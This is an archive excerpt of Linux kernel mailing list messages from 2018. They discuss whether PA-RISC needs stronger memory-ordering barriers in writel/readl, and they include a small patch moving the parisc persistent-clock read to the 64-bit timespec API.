        by vger.kernel.org with ESMTP id S1753068AbeDQPzP (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 17 Apr 2018 11:55:15 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by bedivere.hansenpartnership.com (Postfix) with ESMTP id 4F4278EE264;
        Tue, 17 Apr 2018 08:55:14 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
        by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id ifHtN0GTqz5B; Tue, 17 Apr 2018 08:55:14 -0700 (PDT)
Original-Received: from [10.1.129.202] (unknown [141.170.9.84])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 1E53C8EE0E2;
        Tue, 17 Apr 2018 08:55:10 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
        s=20151216; t=1523980514;
        bh=v/UKIDc/Pi/LuunlBslGSY3xfDh38867K6ajo5obXpY=;
        h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
        b=t9JGPo+ZuMGFj79AHMsOoDscZIQN3bSCHCgq0NWFZ2zxhTju1Tlk1PmYlXuUZjztq
         cLA04UrxHwZ1GMs0c9y3BX4KOcDkvJHx6TG4oRiPZQfAjzO8tgXLmQPGIwDyu0CsPB
         8Eqvm3VxZoUqWCJD2fS9guSUDamvLZxj53s+DH8Q=
In-Reply-To: <38a1d4e3-cabe-6c39-4355-8d8111637382@codeaurora.org>
X-Mailer: Evolution 3.22.6 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2743424 gmane.linux.ports.parisc:28505 gmane.linux.ports.arm.msm:33957 gmane.linux.ports.arm.kernel:644201
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2743424>

On Tue, 2018-04-17 at 10:13 -0400, Sinan Kaya wrote:
> Hi James,
> 
> > 
> > Perhaps if you gave an example of the actual problem you're trying
> > to fix we could assess if it affects parisc.
> 
> Let me clarify myself here. Maybe, there is a better solution.
> 
> 		/* assign ownership */
> 		desc->status = DEVICE_OWN;
> 
> 		/* notify device of new descriptors */
> 		writel(DESC_NOTIFY, doorbell);
> 
> The difference between writel() and writel_relax() is writel()
> guarantees memory transactions to be flushed to the device before the
> register write.

Um, no it doesn't, at least not in PCI.  It guarantees the write will
be issued by the memory system, but it may still be cached (called
posting) in the PCI bridge.  So it doesn't guarantee the write reaches
the device by the time it returns.

>  writel_relaxed() does not provide any guarantees about the memory
> and IO operations.
> 
> Similarly, readl() provides following code to observe the DMA result
> while readl_relaxed() does not provide this guarantee.

Right, the relaxed operator provides no guarantee of ordering between
the memory and IO domains.  However, it's only really a problem on
multiple memory controller systems (i.e. NUMA).  Parisc (except
superdome, which we don't support) doesn't have this problem.  We also
turn of CPU stream reordering, so compile order is retire order on our
CPUs (which makes life a lot simpler).

> Ideally, you want to embed rmb() and wmb() into the writel() and
> readl() to provide this guarantee.
>  
> PA-RISC doesn't seem to support neither one of the barrier types. If
> you are familiar with the architecture, maybe you could guide us
> here.
> 
> Is __raw_writeX() enough to provide this guarantee for this
> architecture?

Well, with the volatile address it is.

The current implementations provide the expected semantics: namely the
position in the instruction stream is compile (retire) ordered and
issued from memory once retired.  We still do have the write posting
problem, but you'll find additional reads in the drivers to flush the
posted writes, so I don't actually believe we need anything changing.

James



From - Thu Nov 08 21:41:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sinan Kaya <okaya@codeaurora.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH v2 2/2] parisc: define stronger ordering for the default
 readX()
Date: Tue, 17 Apr 2018 14:28:40 -0400
Lines: 91
Approved: news@gmane.org
Message-ID: <86252a65-265d-e081-b71f-42a0be6b1693@codeaurora.org>
References: <1523938133-3224-1-git-send-email-okaya@codeaurora.org>
 <1523938133-3224-2-git-send-email-okaya@codeaurora.org>
 <1523957852.3250.9.camel@HansenPartnership.com>
 <38a1d4e3-cabe-6c39-4355-8d8111637382@codeaurora.org>
 <1523980508.3310.9.camel@HansenPartnership.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1523989611 18253 195.159.176.226 (17 Apr 2018 18:26:51 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Apr 2018 18:26:51 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org, Helge Deller <deller@gmx.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-kernel@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
        linux-parisc@vger.kernel.org, arnd@arndb.de, timur@codeaurora.org,
        sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 17 20:26:45 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8VJT-0004co-6n
	for glk-linux-kernel-4@m.gmane.org; Tue, 17 Apr 2018 20:26:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752231AbeDQS2r (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 17 Apr 2018 14:28:47 -0400
Original-Received: from smtp.codeaurora.org ([198.145.29.96]:45254 "EHLO
        smtp.codeaurora.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751157AbeDQS2o (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 17 Apr 2018 14:28:44 -0400
Original-Received: by smtp.codeaurora.org (Postfix, from userid 1000)
        id 3BC0060246; Tue, 17 Apr 2018 18:28:44 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523989724;
        bh=G8+A+d23w+LybU8bKN+Vm5/Gvb/J0XLaG360EJfo8uk=;
        h=Subject:To:Cc:References:From:Date:In-Reply-To:From;
        b=Wfu4GDsbIhfH5ecVVs1zJ7nPkRlgEIJPIoXekWi/gBh/2Ti4fS8Jf6SJZARcO1nBi
         vtDhhMhVIcTUxU96/WEz1h7zyxTDzwEg1r4YruZIw+5sJD/jCKtYEYDmHWmCnSlfaU
         5TFcOKZes/9HxbG00JpUhpYxbTzhdTJb8KM5iWkM=
Original-Received: from [192.168.0.105] (cpe-174-109-247-98.nc.res.rr.com [174.109.247.98])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        (Authenticated sender: okaya@smtp.codeaurora.org)
        by smtp.codeaurora.org (Postfix) with ESMTPSA id 00A9560246;
        Tue, 17 Apr 2018 18:28:41 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1523989723;
        bh=G8+A+d23w+LybU8bKN+Vm5/Gvb/J0XLaG360EJfo8uk=;
        h=Subject:To:Cc:References:From:Date:In-Reply-To:From;
        b=cBykc+j4WRFxzHdETCIM11E1bo7YCcYtgyyPNjccoUygIQSCVFZ2L+gRl1a4AGOCF
         regcHm4zxJ39Z4T7HNbbUcPAf2aA3697KgbLJBmMzao0J5wPBpiFs9Dq3wLyqeDDpz
         t+oreLTQUbweK5hkhVmxh6jSPAduwMOYODNNSQ7o=
DMARC-Filter: OpenDMARC Filter v1.3.2 smtp.codeaurora.org 00A9560246
Authentication-Results: pdx-caf-mail.web.codeaurora.org; dmarc=none (p=none dis=none) header.from=codeaurora.org
Authentication-Results: pdx-caf-mail.web.codeaurora.org; spf=none smtp.mailfrom=okaya@codeaurora.org
In-Reply-To: <1523980508.3310.9.camel@HansenPartnership.com>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2743814 gmane.linux.ports.parisc:28506 gmane.linux.ports.arm.msm:33963 gmane.linux.ports.arm.kernel:644235
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2743814>

On 4/17/2018 11:55 AM, James Bottomley wrote:
> On Tue, 2018-04-17 at 10:13 -0400, Sinan Kaya wrote:
>> Hi James,
>>
>>>
>>> Perhaps if you gave an example of the actual problem you're trying
>>> to fix we could assess if it affects parisc.
>>
>> Let me clarify myself here. Maybe, there is a better solution.
>>
>> 		/* assign ownership */
>> 		desc->status = DEVICE_OWN;
>>
>> 		/* notify device of new descriptors */
>> 		writel(DESC_NOTIFY, doorbell);
>>
>> The difference between writel() and writel_relax() is writel()
>> guarantees memory transactions to be flushed to the device before the
>> register write.
> 
> Um, no it doesn't, at least not in PCI.  It guarantees the write will
> be issued by the memory system, but it may still be cached (called
> posting) in the PCI bridge.  So it doesn't guarantee the write reaches
> the device by the time it returns.


The correct terminology here would be to use observability. Yes, it can be
cached in whatever part of the system for some amount of time as long as
PCI device sees it in the correct order.

Let's do this exercise. 
1. OS writes to memory for some descriptor update
2. OS writes to the device via writel to hit a doorbell
3. Device comes and fetches the memory contents for the descriptor

writel() of PA-RISC needs to ensure that 3. cannot bypass 1. This is typically
done by a write barrier embedded into the writel() on relaxed architectures.

> 
>>  writel_relaxed() does not provide any guarantees about the memory
>> and IO operations.
>>
>> Similarly, readl() provides following code to observe the DMA result
>> while readl_relaxed() does not provide this guarantee.
> 
> Right, the relaxed operator provides no guarantee of ordering between
> the memory and IO domains.  However, it's only really a problem on
> multiple memory controller systems (i.e. NUMA).  Parisc (except
> superdome, which we don't support) doesn't have this problem.  We also
> turn of CPU stream reordering, so compile order is retire order on our
> CPUs (which makes life a lot simpler).

Good to know.

> 
>> Ideally, you want to embed rmb() and wmb() into the writel() and
>> readl() to provide this guarantee.
>>  
>> PA-RISC doesn't seem to support neither one of the barrier types. If
>> you are familiar with the architecture, maybe you could guide us
>> here.
>>
>> Is __raw_writeX() enough to provide this guarantee for this
>> architecture?
> 
> Well, with the volatile address it is.
> 
> The current implementations provide the expected semantics: namely the
> position in the instruction stream is compile (retire) ordered and
> issued from memory once retired.  We still do have the write posting
> problem, but you'll find additional reads in the drivers to flush the
> posted writes, so I don't actually believe we need anything changing.
> 

OK. I'll withdraw my patch. I'm just trying to ensure that all architectures
support writel() semantics. There is an attempt to remove unnecessary
write barriers from the drivers directory between the descriptor update and
writel. 

Just checking that PA-RISC won't break after this.

> James
> 
> 


-- 
Sinan Kaya
Qualcomm Datacenter Technologies, Inc. as an affiliate of Qualcomm Technologies, Inc.
Qualcomm Technologies, Inc. is a member of the Code Aurora Forum, a Linux Foundation Collaborative Project.


From - Thu Nov 08 21:41:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH v2 2/2] parisc: define stronger ordering for the default
 readX()
Date: Tue, 17 Apr 2018 18:53:52 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <97fc18a7-b321-0039-0413-d461abc2097b@bell.net>
References: <1523938133-3224-1-git-send-email-okaya@codeaurora.org>
 <1523938133-3224-2-git-send-email-okaya@codeaurora.org>
 <1523957852.3250.9.camel@HansenPartnership.com>
 <38a1d4e3-cabe-6c39-4355-8d8111637382@codeaurora.org>
 <1523980508.3310.9.camel@HansenPartnership.com>
 <86252a65-265d-e081-b71f-42a0be6b1693@codeaurora.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1524005516 13589 195.159.176.226 (17 Apr 2018 22:51:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 17 Apr 2018 22:51:56 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org, Helge Deller <deller@gmx.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-kernel@vger.kernel.org
To: Sinan Kaya <okaya@codeaurora.org>,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        linux-parisc@vger.kernel.org, arnd@arndb.de, timur@codeaurora.org,
        sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 18 00:51:51 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8ZS3-0003RJ-Cs
	for glk-linux-kernel-4@m.gmane.org; Wed, 18 Apr 2018 00:51:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752679AbeDQWx6 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 17 Apr 2018 18:53:58 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:46235 "EHLO
        torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751150AbeDQWx4 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 17 Apr 2018 18:53:56 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20180417225354.LKSZ3030.torfep01.bell.net@torspm01.bell.net>;
          Tue, 17 Apr 2018 18:53:54 -0400
Original-Received: from [192.168.2.49] (really [69.158.175.55]) by torspm01.bell.net
          with ESMTP
          id <20180417225354.CPPX26298.torspm01.bell.net@[192.168.2.49]>;
          Tue, 17 Apr 2018 18:53:54 -0400
In-Reply-To: <86252a65-265d-e081-b71f-42a0be6b1693@codeaurora.org>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=JtkelIwC c=1 sm=0 tr=0 a=V8DPTAhloC/wURew+oITug==:17 a=IkcTkHD0fZMA:10 a=Kd1tUaAdevIA:10 a=FBHGMhGWAAAA:8 a=XwEJ4ca0QzdjioWKIGAA:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2743969 gmane.linux.ports.parisc:28507 gmane.linux.ports.arm.msm:33992 gmane.linux.ports.arm.kernel:644287
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2743969>

On 2018-04-17 2:28 PM, Sinan Kaya wrote:
> The correct terminology here would be to use observability. Yes, it can be
> cached in whatever part of the system for some amount of time as long as
> PCI device sees it in the correct order.
>
> Let's do this exercise.
> 1. OS writes to memory for some descriptor update
> 2. OS writes to the device via writel to hit a doorbell
> 3. Device comes and fetches the memory contents for the descriptor
>
> writel() of PA-RISC needs to ensure that 3. cannot bypass 1. This is typically
> done by a write barrier embedded into the writel() on relaxed architectures.
The sequence point after the argument evaluation for writel prevents the 
compiler from reordering
1 and 2.  Accesses to I/O space are strongly ordered on PA-RISC, so 1 
must occur before 2 (Page G-1
of the PA-RISC 2.0 Architecture).  Thus, the current code is okay.

Dave

-- 
John David Anglin  dave.anglin@bell.net



From - Thu Nov 08 21:41:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sinan Kaya <okaya@codeaurora.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.kernel
Subject: Re: [PATCH v2 2/2] parisc: define stronger ordering for the default
 readX()
Date: Wed, 18 Apr 2018 09:39:30 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <a8c3391d-7109-47bf-e1c4-9217fc68bfd0@codeaurora.org>
References: <1523938133-3224-1-git-send-email-okaya@codeaurora.org>
 <1523938133-3224-2-git-send-email-okaya@codeaurora.org>
 <1523957852.3250.9.camel@HansenPartnership.com>
 <38a1d4e3-cabe-6c39-4355-8d8111637382@codeaurora.org>
 <1523980508.3310.9.camel@HansenPartnership.com>
 <86252a65-265d-e081-b71f-42a0be6b1693@codeaurora.org>
 <97fc18a7-b321-0039-0413-d461abc2097b@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1524058653 25766 195.159.176.226 (18 Apr 2018 13:37:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 18 Apr 2018 13:37:33 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: linux-arm-msm@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org, Helge Deller <deller@gmx.de>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        linux-kernel@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        linux-parisc@vger.kernel.org, arnd@arndb.de, timur@codeaurora.org,
        sulrich@codeaurora.org
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 18 15:37:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f8nH5-0006bq-QP
	for glk-linux-kernel-4@m.gmane.org; Wed, 18 Apr 2018 15:37:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752999AbeDRNjg (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 18 Apr 2018 09:39:36 -0400
Original-Received: from smtp.codeaurora.org ([198.145.29.96]:43472 "EHLO
        smtp.codeaurora.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752684AbeDRNje (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 18 Apr 2018 09:39:34 -0400
Original-Received: by smtp.codeaurora.org (Postfix, from userid 1000)
        id A811360AE0; Wed, 18 Apr 2018 13:39:33 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1524058773;
        bh=GGhHAlLl1oTdJOsrMY2tFR/l5ibc6f5YNHUmYT+0siI=;
        h=Subject:To:Cc:References:From:Date:In-Reply-To:From;
        b=F3Ix1qwaMKELvSbPP+5o2/Xfo3ObQaWRxHivZdIz0GCBkZaJOhCEBXGhfyt/2t2pf
         GmyrF7qYqAXVPwEn48ldWHmLPPNpDThbEXqtdhFyggtThjTPdR4HReRW48eGoUWA7H
         h+aaaohActePMI6t5H4AfLcXuhxf5jL5EDoOcBXk=
Original-Received: from [10.235.228.150] (global_nat1_iad_fw.qualcomm.com [129.46.232.65])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        (Authenticated sender: okaya@smtp.codeaurora.org)
        by smtp.codeaurora.org (Postfix) with ESMTPSA id 7FC57602BD;
        Wed, 18 Apr 2018 13:39:31 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=codeaurora.org;
        s=default; t=1524058772;
        bh=GGhHAlLl1oTdJOsrMY2tFR/l5ibc6f5YNHUmYT+0siI=;
        h=Subject:To:Cc:References:From:Date:In-Reply-To:From;
        b=W3F39e3GJ1Ucr7Xbb04OSpsweFnKDMoX1XIJ72/Fm5dVpSTb3SrvFFJ19XOfpzEDK
         taCx87RxBvyMXgElsMoYCDJ3fR2YxNkSuA8uI4uUsvwkHcGPDnbt9BbSfnJxVwILFl
         jR/hg9L/bebjp6UZCl6T6oba0/OeyATXGX54ZqC8=
DMARC-Filter: OpenDMARC Filter v1.3.2 smtp.codeaurora.org 7FC57602BD
Authentication-Results: pdx-caf-mail.web.codeaurora.org; dmarc=none (p=none dis=none) header.from=codeaurora.org
Authentication-Results: pdx-caf-mail.web.codeaurora.org; spf=none smtp.mailfrom=okaya@codeaurora.org
In-Reply-To: <97fc18a7-b321-0039-0413-d461abc2097b@bell.net>
Content-Language: en-US
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2744434 gmane.linux.ports.parisc:28508 gmane.linux.ports.arm.msm:34023 gmane.linux.ports.arm.kernel:644406
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2744434>

On 4/17/2018 6:53 PM, John David Anglin wrote:
> On 2018-04-17 2:28 PM, Sinan Kaya wrote:
>> The correct terminology here would be to use observability. Yes, it can be
>> cached in whatever part of the system for some amount of time as long as
>> PCI device sees it in the correct order.
>>
>> Let's do this exercise.
>> 1. OS writes to memory for some descriptor update
>> 2. OS writes to the device via writel to hit a doorbell
>> 3. Device comes and fetches the memory contents for the descriptor
>>
>> writel() of PA-RISC needs to ensure that 3. cannot bypass 1. This is typically
>> done by a write barrier embedded into the writel() on relaxed architectures.
> The sequence point after the argument evaluation for writel prevents the compiler from reordering
> 1 and 2.  Accesses to I/O space are strongly ordered on PA-RISC, so 1 must occur before 2 (Page G-1
> of the PA-RISC 2.0 Architecture).  Thus, the current code is okay.
> 

Many thanks for the clarification.

> Dave
> 


-- 
Sinan Kaya
Qualcomm Datacenter Technologies, Inc. as an affiliate of Qualcomm Technologies, Inc.
Qualcomm Technologies, Inc. is a member of the Code Aurora Forum, a Linux Foundation Collaborative Project.


From - Thu Nov 08 21:41:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baolin Wang <baolin.wang@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: time: Convert read_persistent_clock() to read_persistent_clock64()
Date: Thu, 19 Apr 2018 14:51:03 +0800
Lines: 28
Approved: news@gmane.org
Message-ID: <4914b33abd8969906d2db0ae5c3da4f205f0bfe9.1524120572.git.baolin.wang@linaro.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524120587 25255 195.159.176.226 (19 Apr 2018 06:49:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Apr 2018 06:49:47 +0000 (UTC)
Cc: alexandre.belloni@bootlin.com, kstewart@linuxfoundation.org,
        gregkh@linuxfoundation.org, tglx@linutronix.de,
        linux-parisc@vger.kernel.org, arnd@arndb.de, broonie@kernel.org,
        linux-kernel@vger.kernel.org, baolin.wang@linaro.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 19 08:49:42 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f93O1-0006TA-A1
	for glk-linux-kernel-4@m.gmane.org; Thu, 19 Apr 2018 08:49:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752028AbeDSGvt (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 19 Apr 2018 02:51:49 -0400
Original-Received: from mail-pf0-f195.google.com ([209.85.192.195]:37132 "EHLO
        mail-pf0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751375AbeDSGvr (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 19 Apr 2018 02:51:47 -0400
Original-Received: by mail-pf0-f195.google.com with SMTP id p6so2156993pfn.4
        for <linux-kernel@vger.kernel.org>; Wed, 18 Apr 2018 23:51:47 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=from:to:cc:subject:date:message-id;
        bh=aElWJpOtrwLEtUogDowdYYjo6Z48Bjs0JSoeUdrjOm4=;
        b=gyiTm2h+MnjdYeewz0se4sQDWBm0OeDg99uII3MZclL1nGeYDB2TwKMqTauf9YNdjn
         aQUiPIddBuo30NU7yAN3UC1aS4AB/ANWWAExFVPA/DWwDS2hggLUVnENT5X+aI5+yXCt
         2jCJgVNNLfAauo630DrsSmwWAaBoqqeSOlltE=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=aElWJpOtrwLEtUogDowdYYjo6Z48Bjs0JSoeUdrjOm4=;
        b=Y5pUzrjXAkpjTmk8YWVZaFzkwP4IWMNmguLcNKgyuxi0H6Y7pSksFuWnoG0w9XX94z
         AhPBmrWJga/I+WIc5czaengLIBbbhawo7N07vQR+ak9r203RRBUHgpOGyiOWFuN5VpVb
         SBYdSmLcw3EDowktJUlmCPaD1N0sLzKlMiNhfKNkklIhjzyLdowzLkrVrMGKl62s2rOk
         z/VmktMEM2EuV1LiUUMKKcFLm7SsMXLPHzcC+PGBN3A+Be6ecXmHZTOhKHRTXr/MevxP
         GOmA7cm2VL7v+O2NdYGn68yaXujLankudV5LzbsvG8EIrzTF0a0UMeB+qkFz+IJ8JS7X
         c8Wg==
X-Gm-Message-State: ALQs6tCPxpPfnuQpDf1nnqBnj1FYONnE9qCDZPwGZGqEolzyb83QYDHz
        RFUdw1BOH50zDuex3IpcNOngXw==
X-Google-Smtp-Source: AIpwx4/C1H1vmKFdcptYngaKfDRJz2dJLtFOCbVfGWcH1lrrWjj7+tNiI/MZfpVCoHS9PmaYqRtBGA==
X-Received: by 10.101.102.198 with SMTP id c6mr2986086pgw.127.1524120707000;
        Wed, 18 Apr 2018 23:51:47 -0700 (PDT)
Original-Received: from baolinwangubtpc.spreadtrum.com ([117.18.48.82])
        by smtp.gmail.com with ESMTPSA id c26sm5343260pfj.85.2018.04.18.23.51.42
        (version=TLS1 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Wed, 18 Apr 2018 23:51:46 -0700 (PDT)
X-Mailer: git-send-email 1.7.9.5
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2744990 gmane.linux.ports.parisc:28509
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2744990>

The read_persistent_clock() uses a timespec, which is not year 2038 safe
on 32bit systems. On parisc architecture, we have implemented generic RTC
drivers that can be used to compensate the system suspend time, but the
RTC time can not represent the nanosecond resolution, so this patch just
converts to read_persistent_clock64() with timespec64.

Signed-off-by: Baolin Wang <baolin.wang@linaro.org>
---
 arch/parisc/kernel/time.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index c383040..a1e772f 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -205,7 +205,7 @@ static int __init rtc_init(void)
 device_initcall(rtc_init);
 #endif
 
-void read_persistent_clock(struct timespec *ts)
+void read_persistent_clock64(struct timespec64 *ts)
 {
 	static struct pdc_tod tod_data;
 	if (pdc_tod_read(&tod_data) == 0) {
-- 
1.7.9.5



From - Thu Nov 08 21:41:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Frank Scheiner <frank.scheiner@web.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Ultra5 successful install - PGX64 issues
